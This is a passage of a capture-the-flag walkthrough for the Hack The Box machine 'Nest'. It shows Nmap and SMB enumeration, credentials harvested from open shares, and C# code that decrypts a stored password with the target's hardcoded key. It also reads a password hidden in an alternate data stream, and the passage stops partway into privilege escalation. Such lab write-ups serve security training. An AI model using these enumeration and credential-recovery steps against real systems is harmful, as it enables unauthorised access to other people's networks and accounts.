mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-05-17 04:46:57 +00:00
890 lines
39 KiB
Markdown
890 lines
39 KiB
Markdown
---
|
||
search:
|
||
exclude: true
|
||
---
|
||
# Nest Writeup
|
||
|
||

|
||
|
||
## Introduction :
|
||
|
||
Nest is an easy windows box released back in january 2020.
|
||
|
||
## **Part 1 : Initial Enumeration**
|
||
|
||
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [Nextcloud/blog]
|
||
→ sudo nmap -vvv -p- 10.10.10.178 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
|
||
[sudo] password for nothing:
|
||
Discovered open port 445/tcp on 10.10.10.178
|
||
Discovered open port 4386/tcp on 10.10.10.178
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [Nextcloud/blog]
|
||
→ nmap -sCV -p445,4386 10.10.10.178 -Pn
|
||
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
|
||
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-28 08:30 CEST
|
||
Nmap scan report for 10.10.10.178
|
||
Host is up (0.032s latency).
|
||
|
||
PORT STATE SERVICE VERSION
|
||
445/tcp open microsoft-ds?
|
||
4386/tcp open unknown
|
||
| fingerprint-strings:
|
||
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe:
|
||
| Reporting Service V1.2
|
||
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:
|
||
| Reporting Service V1.2
|
||
| Unrecognised command
|
||
| Help:
|
||
| Reporting Service V1.2
|
||
| This service allows users to run queries against databases using the legacy HQK format
|
||
| AVAILABLE COMMANDS ---
|
||
| LIST
|
||
| SETDIR <****Directory_Name>
|
||
| RUNQUERY <****Query_ID>
|
||
| DEBUG <****Password>
|
||
|_ HELP <****Command>
|
||
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
|
||
SF-Port4386-TCP:V=7.91%I=7%D=5/28%Time=60B08DFE%P=x86_64-pc-linux-gnu%r(NU
|
||
SF:LL,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(GenericLin
|
||
SF:es,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognise
|
||
SF:d\x20command\r\n>")%r(GetRequest,3A,"\r\nHQK\x20Reporting\x20Service\x2
|
||
SF:0V1\.2\r\n\r\n>\r\nUnrecognised\x20command\r\n>")%r(HTTPOptions,3A,"\r\
|
||
SF:nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognised\x20comma
|
||
SF:nd\r\n>")%r(RTSPRequest,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\
|
||
SF:n\r\n>\r\nUnrecognised\x20command\r\n>")%r(RPCCheck,21,"\r\nHQK\x20Repo
|
||
SF:rting\x20Service\x20V1\.2\r\n\r\n>")%r(DNSVersionBindReqTCP,21,"\r\nHQK
|
||
SF:\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(DNSStatusRequestTCP,21,"
|
||
SF:\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(Help,F2,"\r\nHQK\
|
||
SF:x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nThis\x20service\x20allows\
|
||
SF:x20users\x20to\x20run\x20queries\x20against\x20databases\x20using\x20th
|
||
SF:e\x20legacy\x20HQK\x20format\r\n\r\n---\x20AVAILABLE\x20COMMANDS\x20---
|
||
SF:\r\n\r\nLIST\r\nSETDIR\x20 <****Directory_Name>\r\nRUNQUERY\x20 <****Query_ID>\r\
|
||
SF:nDEBUG\x20 <****Password>\r\nHELP\x20 \r\n>")%r(SSLSessionReq,21,"\r
|
||
SF:\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(TerminalServerCooki
|
||
SF:e,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(TLSSessionR
|
||
SF:eq,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(Kerberos,2
|
||
SF:1,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(SMBProgNeg,21,
|
||
SF:"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(X11Probe,21,"\r\
|
||
SF:nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(FourOhFourRequest,3A
|
||
SF:,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognised\x20
|
||
SF:command\r\n>")%r(LPDString,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2
|
||
SF:\r\n\r\n>")%r(LDAPSearchReq,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.
|
||
SF:2\r\n\r\n>")%r(LDAPBindReq,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2
|
||
SF:\r\n\r\n>")%r(SIPOptions,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r
|
||
SF:\n\r\n>\r\nUnrecognised\x20command\r\n>")%r(LANDesk-RC,21,"\r\nHQK\x20R
|
||
SF:eporting\x20Service\x20V1\.2\r\n\r\n>")%r(TerminalServer,21,"\r\nHQK\x2
|
||
SF:0Reporting\x20Service\x20V1\.2\r\n\r\n>");
|
||
|
||
Host script results:
|
||
|_clock-skew: 7m38s
|
||
| smb2-security-mode:
|
||
| 2.02:
|
||
|_ Message signing enabled but not required
|
||
| smb2-time:
|
||
| date: 2021-05-28T06:40:33
|
||
|_ start_date: 2021-05-28T06:32:49
|
||
|
||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||
Nmap done: 1 IP address (1 host up) scanned in 198.72 seconds
|
||
|
||
|
||
|
||
## **Part 2 : Getting User Access**
|
||
|
||
Our nmap scan picked up port 445 so let's investigate it:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [Nextcloud/blog]
|
||
→ smbclient -L \\\\10.10.10.178
|
||
Enter WORKGROUP\nothing's password:
|
||
|
||
Sharename Type Comment
|
||
--------- ---- -------
|
||
ADMIN$ Disk Remote Admin
|
||
C$ Disk Default share
|
||
Data Disk
|
||
IPC$ IPC Remote IPC
|
||
Secure$ Disk
|
||
Users Disk
|
||
SMB1 disabled -- no workgroup available
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [Nextcloud/blog]
|
||
→ smbmap -H 10.10.10.178 -u anonymous -r --depth 5
|
||
[+] Guest session IP: 10.10.10.178:445 Name: 10.10.10.178
|
||
Disk Permissions Comment
|
||
---- ----------- -------
|
||
ADMIN$ NO ACCESS Remote Admin
|
||
C$ NO ACCESS Default share
|
||
Data READ ONLY
|
||
.\Data\*
|
||
dr--r--r-- 0 Thu Aug 8 00:53:46 2019 .
|
||
dr--r--r-- 0 Thu Aug 8 00:53:46 2019 ..
|
||
dr--r--r-- 0 Thu Aug 8 00:58:07 2019 IT
|
||
dr--r--r-- 0 Mon Aug 5 23:53:41 2019 Production
|
||
dr--r--r-- 0 Mon Aug 5 23:53:50 2019 Reports
|
||
dr--r--r-- 0 Wed Aug 7 21:07:51 2019 Shared
|
||
IPC$ NO ACCESS Remote IPC
|
||
Secure$ NO ACCESS
|
||
Users READ ONLY
|
||
.\Users\*
|
||
dr--r--r-- 0 Sun Jan 26 00:04:21 2020 .
|
||
dr--r--r-- 0 Sun Jan 26 00:04:21 2020 ..
|
||
dr--r--r-- 0 Fri Aug 9 17:08:23 2019 Administrator
|
||
dr--r--r-- 0 Sun Jan 26 08:21:44 2020 C.Smith
|
||
dr--r--r-- 0 Thu Aug 8 19:03:29 2019 L.Frost
|
||
dr--r--r-- 0 Thu Aug 8 19:02:56 2019 R.Thompson
|
||
dr--r--r-- 0 Thu Aug 8 00:56:02 2019 TempUser
|
||
|
||
|
||
Here it looks like the Data sgare seems to be accessible anonymously. So we can recursively list the contents of that share using smbclient:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [Nextcloud/blog]
|
||
→ smbclient \\\\10.10.10.178\\Data
|
||
Enter WORKGROUP\nothing's password:
|
||
Try "help" to get a list of possible commands.
|
||
smb: \> recurse on
|
||
smb: \> ls
|
||
. D 0 Thu Aug 8 00:53:46 2019
|
||
.. D 0 Thu Aug 8 00:53:46 2019
|
||
IT D 0 Thu Aug 8 00:58:07 2019
|
||
Production D 0 Mon Aug 5 23:53:38 2019
|
||
Reports D 0 Mon Aug 5 23:53:44 2019
|
||
Shared D 0 Wed Aug 7 21:07:51 2019
|
||
|
||
\IT
|
||
NT_STATUS_ACCESS_DENIED listing \IT\*
|
||
|
||
\Production
|
||
NT_STATUS_ACCESS_DENIED listing \Production\*
|
||
|
||
\Reports
|
||
NT_STATUS_ACCESS_DENIED listing \Reports\*
|
||
|
||
\Shared
|
||
. D 0 Wed Aug 7 21:07:51 2019
|
||
.. D 0 Wed Aug 7 21:07:51 2019
|
||
Maintenance D 0 Wed Aug 7 21:07:32 2019
|
||
Templates D 0 Wed Aug 7 21:08:07 2019
|
||
|
||
\Shared\Maintenance
|
||
. D 0 Wed Aug 7 21:07:32 2019
|
||
.. D 0 Wed Aug 7 21:07:32 2019
|
||
Maintenance Alerts.txt A 48 Tue Aug 6 01:01:44 2019
|
||
|
||
\Shared\Templates
|
||
. D 0 Wed Aug 7 21:08:07 2019
|
||
.. D 0 Wed Aug 7 21:08:07 2019
|
||
HR D 0 Wed Aug 7 21:08:01 2019
|
||
Marketing D 0 Wed Aug 7 21:08:06 2019
|
||
|
||
\Shared\Templates\HR
|
||
. D 0 Wed Aug 7 21:08:01 2019
|
||
.. D 0 Wed Aug 7 21:08:01 2019
|
||
Welcome Email.txt A 425 Thu Aug 8 00:55:36 2019
|
||
|
||
\Shared\Templates\Marketing
|
||
. D 0 Wed Aug 7 21:08:06 2019
|
||
.. D 0 Wed Aug 7 21:08:06 2019
|
||
|
||
smb: \> cd \Shared\Templates\HR
|
||
smb: \Shared\Templates\HR\> ls
|
||
. D 0 Wed Aug 7 21:08:01 2019
|
||
.. D 0 Wed Aug 7 21:08:01 2019
|
||
Welcome Email.txt A 425 Thu Aug 8 00:55:36 2019
|
||
|
||
10485247 blocks of size 4096. 6543390 blocks available
|
||
|
||
smb: \Shared\Templates\HR\> mget "Welcome Email.txt"
|
||
Get file Welcome Email.txt? y
|
||
getting file \Shared\Templates\HR\Welcome Email.txt of size 425 as Welcome Email.txt (3.2 KiloBytes/sec) (average 3.2 KiloBytes/sec)
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest]
|
||
→ cat Welcome\ Email.txt
|
||
We would like to extend a warm welcome to our newest member of staff,
|
||
|
||
You will find your home folder in the following location:
|
||
\\HTB-NEST\Users\
|
||
|
||
If you have any issues accessing specific services or workstations, please inform the
|
||
IT department and use the credentials below until all systems have been set up for you.
|
||
|
||
Username: TempUser
|
||
Password: welcome2019
|
||
|
||
|
||
Thank you
|
||
HR
|
||
|
||
|
||
Here we get credentials: **TempUser:welcome2019** So let's run smbmap once again to enumerate the shares:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest]
|
||
→ smbmap -u Tempuser -p welcome2019 -H 10.10.10.178
|
||
[+] IP: 10.10.10.178:445 Name: 10.10.10.178
|
||
Disk Permissions Comment
|
||
---- ----------- -------
|
||
ADMIN$ NO ACCESS Remote Admin
|
||
C$ NO ACCESS Default share
|
||
Data READ ONLY
|
||
IPC$ NO ACCESS Remote IPC
|
||
Secure$ READ ONLY
|
||
Users READ ONLY
|
||
|
||
|
||
Now as we explore the shares with the tempuser we can access xml files for example:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest]
|
||
→ smbmap -u Tempuser -p welcome2019 -H 10.10.10.178 -R 'Data' -A xml
|
||
[+] IP: 10.10.10.178:445 Name: 10.10.10.178
|
||
[+] Starting search for files matching 'xml' on share Data.
|
||
[+] Match found! Downloading: Data\IT\Configs\Adobe\editing.xml
|
||
[+] Match found! Downloading: Data\IT\Configs\Adobe\projects.xml
|
||
[+] Match found! Downloading: Data\IT\Configs\Adobe\settings.xml
|
||
[+] Match found! Downloading: Data\IT\Configs\Atlas\Temp.XML
|
||
[+] Match found! Downloading: Data\IT\Configs\Microsoft\Options.xml
|
||
[+] Match found! Downloading: Data\IT\Configs\NotepadPlusPlus\config.xml
|
||
[+] Match found! Downloading: Data\IT\Configs\NotepadPlusPlus\shortcuts.xml
|
||
[+] Match found! Downloading: Data\IT\Configs\RU Scanner\RU_config.xml
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest]
|
||
→ ls -lash
|
||
total 52K
|
||
4.0K drwxr-xr-x 2 nothing nothing 4.0K May 28 09:29 .
|
||
4.0K drwxr-xr-x 7 nothing nothing 4.0K May 28 09:02 ..
|
||
4.0K -rw-r--r-- 1 nothing nothing 246 May 28 09:29 10.10.10.178-Data_IT_Configs_Adobe_editing.xml
|
||
4.0K -rw-r--r-- 1 nothing nothing 258 May 28 09:29 10.10.10.178-Data_IT_Configs_Adobe_projects.xml
|
||
4.0K -rw-r--r-- 1 nothing nothing 1.3K May 28 09:29 10.10.10.178-Data_IT_Configs_Adobe_settings.xml
|
||
4.0K -rw-r--r-- 1 nothing nothing 1.4K May 28 09:29 10.10.10.178-Data_IT_Configs_Atlas_Temp.XML
|
||
8.0K -rw-r--r-- 1 nothing nothing 4.5K May 28 09:29 10.10.10.178-Data_IT_Configs_Microsoft_Options.xml
|
||
8.0K -rw-r--r-- 1 nothing nothing 6.3K May 28 09:29 10.10.10.178-Data_IT_Configs_NotepadPlusPlus_config.xml
|
||
4.0K -rw-r--r-- 1 nothing nothing 2.1K May 28 09:29 10.10.10.178-Data_IT_Configs_NotepadPlusPlus_shortcuts.xml
|
||
4.0K -rw-r--r-- 1 nothing nothing 270 May 28 09:29 '10.10.10.178-Data_IT_Configs_RU Scanner_RU_config.xml'
|
||
4.0K -rw-r--r-- 1 nothing nothing 425 May 28 09:02 'Welcome Email.txt'
|
||
|
||
|
||
|
||
Let's check if there is any sensitive information in the xml files we collected:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest]
|
||
→ vim 10.10.10.178-Data_IT_Configs_Adobe_settings.xml
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest]
|
||
→ grep -i password *.xml
|
||
10.10.10.178-Data_IT_Configs_RU Scanner_RU_config.xml: fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest]
|
||
→ cat 10.10.10.178-Data_IT_Configs_RU\ Scanner_RU_config.xml
|
||
<****?xml version="1.0"?> <****ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <****Port>389 <****/Port> <****Username>c.smith <****/Username> <****Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE= <****/Password> <****/ConfigFile>%
|
||
|
||
So here it looks like that the password for the user **c.smith** is encrypted. Now what we should look for is the Secure share in the xml files, and we stumble upon the **NotePadPlusPlus** config file:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest]
|
||
→ grep -i 'Secure\$' *.xml
|
||
10.10.10.178-Data_IT_Configs_NotepadPlusPlus_config.xml: <****File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
|
||
|
||
Now we're hinted towards a Temp.txt file, so let's get it:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest]
|
||
→ smbmap -u Tempuser -p welcome2019 -H 10.10.10.178 -R 'Secure$\IT\Carl'
|
||
[+] IP: 10.10.10.178:445 Name: 10.10.10.178
|
||
Disk Permissions Comment
|
||
---- ----------- -------
|
||
Secure$ READ ONLY
|
||
.\Secure$IT\Carl\*
|
||
dr--r--r-- 0 Wed Aug 7 21:42:14 2019 .
|
||
dr--r--r-- 0 Wed Aug 7 21:42:14 2019 ..
|
||
dr--r--r-- 0 Wed Aug 7 21:44:00 2019 Docs
|
||
dr--r--r-- 0 Tue Aug 6 15:45:47 2019 Reports
|
||
dr--r--r-- 0 Tue Aug 6 16:41:55 2019 VB Projects
|
||
.\Secure$IT\Carl\Docs\*
|
||
dr--r--r-- 0 Wed Aug 7 21:44:00 2019 .
|
||
dr--r--r-- 0 Wed Aug 7 21:44:00 2019 ..
|
||
fr--r--r-- 56 Wed Aug 7 21:44:16 2019 ip.txt
|
||
fr--r--r-- 73 Wed Aug 7 21:43:46 2019 mmc.txt
|
||
.\Secure$IT\Carl\VB Projects\*
|
||
dr--r--r-- 0 Tue Aug 6 16:41:55 2019 .
|
||
dr--r--r-- 0 Tue Aug 6 16:41:55 2019 ..
|
||
dr--r--r-- 0 Tue Aug 6 16:41:53 2019 Production
|
||
dr--r--r-- 0 Tue Aug 6 16:47:41 2019 WIP
|
||
.\Secure$IT\Carl\VB Projects\WIP\*
|
||
dr--r--r-- 0 Tue Aug 6 16:47:41 2019 .
|
||
dr--r--r-- 0 Tue Aug 6 16:47:41 2019 ..
|
||
dr--r--r-- 0 Fri Aug 9 17:36:45 2019 RU
|
||
.\Secure$IT\Carl\VB Projects\WIP\RU\*
|
||
dr--r--r-- 0 Fri Aug 9 17:36:45 2019 .
|
||
dr--r--r-- 0 Fri Aug 9 17:36:45 2019 ..
|
||
dr--r--r-- 0 Thu Aug 8 00:05:54 2019 RUScanner
|
||
fr--r--r-- 871 Fri Aug 9 17:36:35 2019 RUScanner.sln
|
||
.\Secure$IT\Carl\VB Projects\WIP\RU\RUScanner\*
|
||
dr--r--r-- 0 Thu Aug 8 00:05:54 2019 .
|
||
dr--r--r-- 0 Thu Aug 8 00:05:54 2019 ..
|
||
dr--r--r-- 0 Wed Aug 7 22:00:11 2019 bin
|
||
fr--r--r-- 772 Thu Aug 8 00:05:09 2019 ConfigFile.vb
|
||
fr--r--r-- 279 Thu Aug 8 00:05:44 2019 Module1.vb
|
||
dr--r--r-- 0 Wed Aug 7 22:00:11 2019 My Project
|
||
dr--r--r-- 0 Wed Aug 7 22:00:11 2019 obj
|
||
fr--r--r-- 4828 Fri Aug 9 17:38:30 2019 RU Scanner.vbproj
|
||
fr--r--r-- 143 Wed Aug 7 22:00:28 2019 RU Scanner.vbproj.user
|
||
fr--r--r-- 133 Thu Aug 8 00:05:58 2019 SsoIntegration.vb
|
||
fr--r--r-- 4888 Thu Aug 8 00:06:03 2019 Utils.vb
|
||
|
||
|
||
And we were able to list the contents, the folder contains a Visual Basic project called RUScanner. so let's mount the share locally to examine the files:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest]
|
||
→ sudo mkdir /mnt/Data
|
||
[sudo] password for nothing:
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest]
|
||
→ sudo mount -t cifs -o ro,username=TempUser,password=welcome2019 '//10.10.10.178/Secure$' /mnt/Data/
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest]
|
||
→ ls /mnt/Data
|
||
Finance HR IT
|
||
|
||
┌──(root💀nowhere)-[/mnt/Data/IT]
|
||
└─# cd /mnt/Data/IT/Carl/VB\ Projects/WIP/RU/RUScanner 130 ⨯
|
||
|
||
┌──(root💀nowhere)-[/mnt/…/VB Projects/WIP/RU/RUScanner]
|
||
└─# ls -lash
|
||
total 33K
|
||
4.0K drwxr-xr-x 2 root root 4.0K Aug 8 2019 .
|
||
4.0K drwxr-xr-x 2 root root 4.0K Aug 9 2019 ..
|
||
0 drwxr-xr-x 2 root root 0 Aug 7 2019 bin
|
||
4.0K -rwxr-xr-x 1 root root 772 Aug 8 2019 ConfigFile.vb
|
||
512 -rwxr-xr-x 1 root root 279 Aug 8 2019 Module1.vb
|
||
0 drwxr-xr-x 2 root root 0 Aug 7 2019 'My Project'
|
||
0 drwxr-xr-x 2 root root 0 Aug 7 2019 obj
|
||
8.0K -rwxr-xr-x 1 root root 4.8K Aug 9 2019 'RU Scanner.vbproj'
|
||
512 -rwxr-xr-x 1 root root 143 Aug 6 2019 'RU Scanner.vbproj.user'
|
||
4.0K -rwxr-xr-x 1 root root 133 Aug 8 2019 SsoIntegration.vb
|
||
8.0K -rwxr-xr-x 1 root root 4.8K Aug 7 2019 Utils.vb
|
||
|
||
|
||
And here the important file is Utils.vb:
|
||
|
||
|
||
Imports System.Text
|
||
Imports System.Security.Cryptography
|
||
Public Class Utils
|
||
|
||
Public Shared Function GetLogFilePath() As String
|
||
Return IO.Path.Combine(Environment.CurrentDirectory, "Log.txt")
|
||
End Function
|
||
|
||
|
||
|
||
|
||
Public Shared Function DecryptString(EncryptedString As String) As String
|
||
If String.IsNullOrEmpty(EncryptedString) Then
|
||
Return String.Empty
|
||
Else
|
||
Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
|
||
End If
|
||
End Function
|
||
|
||
Public Shared Function EncryptString(PlainString As String) As String
|
||
If String.IsNullOrEmpty(PlainString) Then
|
||
Return String.Empty
|
||
Else
|
||
Return Encrypt(PlainString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
|
||
End If
|
||
End Function
|
||
|
||
Public Shared Function Encrypt(ByVal plainText As String, _
|
||
ByVal passPhrase As String, _
|
||
ByVal saltValue As String, _
|
||
ByVal passwordIterations As Integer, _
|
||
ByVal initVector As String, _
|
||
ByVal keySize As Integer) _
|
||
As String
|
||
|
||
Dim initVectorBytes As Byte() = Encoding.ASCII.GetBytes(initVector)
|
||
Dim saltValueBytes As Byte() = Encoding.ASCII.GetBytes(saltValue)
|
||
Dim plainTextBytes As Byte() = Encoding.ASCII.GetBytes(plainText)
|
||
Dim password As New Rfc2898DeriveBytes(passPhrase, _
|
||
saltValueBytes, _
|
||
passwordIterations)
|
||
|
||
|
||
Basically here, we see that the class contains methods to encrypt and decrypt passwords. We can use the decryptString() function to decrypt the password gained earlier. As the code uses .NET classes, it can be rewritten in any .NET based language, therefore it can be ported to C#, and compiled on linux thanks to [mono](https://www.mono-project.com/download/stable/#download-lin-ubuntu), so let's install it:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest]
|
||
→ apt search mono-devel
|
||
Sorting... Done
|
||
Full Text Search... Done
|
||
mono-devel/kali-rolling 6.8.0.105+dfsg-3 all
|
||
Mono development tools
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest]
|
||
→ apt install mono-devel
|
||
|
||
|
||
|
||
Now that we know the sourcecode, let's write the decrypt() function in C#, to which we will pass the encrypted password we found earlier:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Nest]
|
||
→ vim decrypt.cs
|
||
|
||
|
||
|
||
|
||
|
||
using System;
|
||
using System.IO;
|
||
using System.Text;
|
||
using System.Security.Cryptography;
|
||
namespace Dec {
|
||
class Decryptor{
|
||
public static void Main(){
|
||
var pt = Decrypt("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=", "N3st22","88552299", 2, "464R5DFA5DL6LE28", 256);
|
||
Console.WriteLine("PlainText: " + pt);
|
||
}
|
||
public static String Decrypt(String cipherText, String passPhrase, String saltValue, int passwordIterations, String initVector, int keySize ) {
|
||
var initVectorBytes=Encoding.ASCII.GetBytes(initVector);
|
||
var saltValueBytes=Encoding.ASCII.GetBytes(saltValue);
|
||
var cipherTextBytes=Convert.FromBase64String(cipherText);
|
||
var password=newRfc2898DeriveBytes(passPhrase, saltValueBytes,passwordIterations);
|
||
var keyBytes=password.GetBytes(keySize/8);
|
||
var symmetricKey=newAesCryptoServiceProvider();
|
||
symmetricKey.Mode=CipherMode.CBC;
|
||
var decryptor=symmetricKey.CreateDecryptor(keyBytes, initVectorBytes);
|
||
var memoryStream=newMemoryStream(cipherTextBytes);
|
||
var cryptoStream=newCryptoStream(memoryStream, decryptor,CryptoStreamMode.Read);
|
||
var plainTextBytes=newbyte[cipherTextBytes.Length];
|
||
var decryptedByteCount=cryptoStream.Read(plainTextBytes, 0,plainTextBytes.Length);
|
||
memoryStream.Close();
|
||
cryptoStream.Close();
|
||
varplainText=Encoding.ASCII.GetString(plainTextBytes, 0,decryptedByteCount);
|
||
returnplainText;
|
||
}
|
||
|
||
}
|
||
}
|
||
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest]
|
||
→ mcs decrypt.cs
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest]
|
||
→ ./decrypt.exe
|
||
Plaintext: xRxRxPANCAK3SxRxRx
|
||
|
||
|
||
And we decrypted **c.smith** 's password ! **xRxRxPANCAK3SxRxRx**
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Nest]
|
||
→ sudo umount /mnt/Data
|
||
[sudo] password for nothing:
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Nest]
|
||
→ smbclient -U c.smith //10.10.10.178/Users
|
||
Enter WORKGROUP\c.smith's password: xRxRxPANCAK3SxRxRx
|
||
Try "help" to get a list of possible commands.
|
||
smb: \> cd c.smith
|
||
smb: \c.smith\> ls
|
||
. D 0 Sun Jan 26 08:21:44 2020
|
||
.. D 0 Sun Jan 26 08:21:44 2020
|
||
HQK Reporting D 0 Fri Aug 9 01:06:17 2019
|
||
user.txt A 32 Fri Aug 9 01:05:24 2019
|
||
|
||
smb: \c.smith\> get user.txt
|
||
getting file \c.smith\user.txt of size 32 as user.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
|
||
|
||
smb: \c.smith\>
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest]
|
||
→ cat user.txt
|
||
cfXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
||
|
||
|
||
And we managed to get the user flag!
|
||
|
||
## **Part 3 : Getting Root Access**
|
||
|
||
Now in order to privesc, we need to take a look at the HQK Reporting folder:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Nest]
|
||
→ smbclient -U c.smith //10.10.10.178/Users
|
||
Enter WORKGROUP\c.smith's password:
|
||
Try "help" to get a list of possible commands.
|
||
|
||
smb: \> ls
|
||
. D 0 Sun Jan 26 00:04:21 2020
|
||
.. D 0 Sun Jan 26 00:04:21 2020
|
||
Administrator D 0 Fri Aug 9 17:08:23 2019
|
||
C.Smith D 0 Sun Jan 26 08:21:44 2020
|
||
L.Frost D 0 Thu Aug 8 19:03:01 2019
|
||
R.Thompson D 0 Thu Aug 8 19:02:50 2019
|
||
TempUser D 0 Thu Aug 8 00:55:56 2019
|
||
|
||
10485247 blocks of size 4096. 6543251 blocks available
|
||
|
||
smb: \> cd c.smith
|
||
|
||
smb: \c.smith\> ls
|
||
. D 0 Sun Jan 26 08:21:44 2020
|
||
.. D 0 Sun Jan 26 08:21:44 2020
|
||
HQK Reporting D 0 Fri Aug 9 01:06:17 2019
|
||
user.txt A 32 Fri Aug 9 01:05:24 2019
|
||
|
||
10485247 blocks of size 4096. 6543251 blocks available
|
||
|
||
smb: \c.smith\> cd "HQK Reporting"
|
||
|
||
smb: \c.smith\HQK Reporting\> ls
|
||
. D 0 Fri Aug 9 01:06:17 2019
|
||
.. D 0 Fri Aug 9 01:06:17 2019
|
||
AD Integration Module D 0 Fri Aug 9 14:18:42 2019
|
||
Debug Mode Password.txt A 0 Fri Aug 9 01:08:17 2019
|
||
HQK_Config_Backup.xml A 249 Fri Aug 9 01:09:05 2019
|
||
|
||
10485247 blocks of size 4096. 6543251 blocks available
|
||
|
||
smb: \c.smith\HQK Reporting\> allinfo "Debug Mode Password.txt"
|
||
altname: DEBUGM~1.TXT
|
||
create_time: Fri Aug 9 01:06:12 AM 2019 CEST
|
||
access_time: Fri Aug 9 01:06:12 AM 2019 CEST
|
||
write_time: Fri Aug 9 01:08:17 AM 2019 CEST
|
||
change_time: Fri Aug 9 01:08:17 AM 2019 CEST
|
||
attributes: A (20)
|
||
stream: [::$DATA], 0 bytes
|
||
stream: [:Password:$DATA], 15 bytes
|
||
|
||
smb: \c.smith\HQK Reporting\>
|
||
|
||
|
||
Now here we see something interesting, we get hinted at a file called **Debug Mode Password.txt** , and it has file attributes, or Alternate Data Streams (ADS) attached to it. So let's get the file itself:
|
||
|
||
|
||
smb: \c.smith\HQK Reporting\> get "Debug Mode Password.txt:Password"
|
||
getting file \c.smith\HQK Reporting\Debug Mode Password.txt:Password of size 15 as Debug Mode Password.txt:Password (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
|
||
smb: \c.smith\HQK Reporting\> exit
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Nest]
|
||
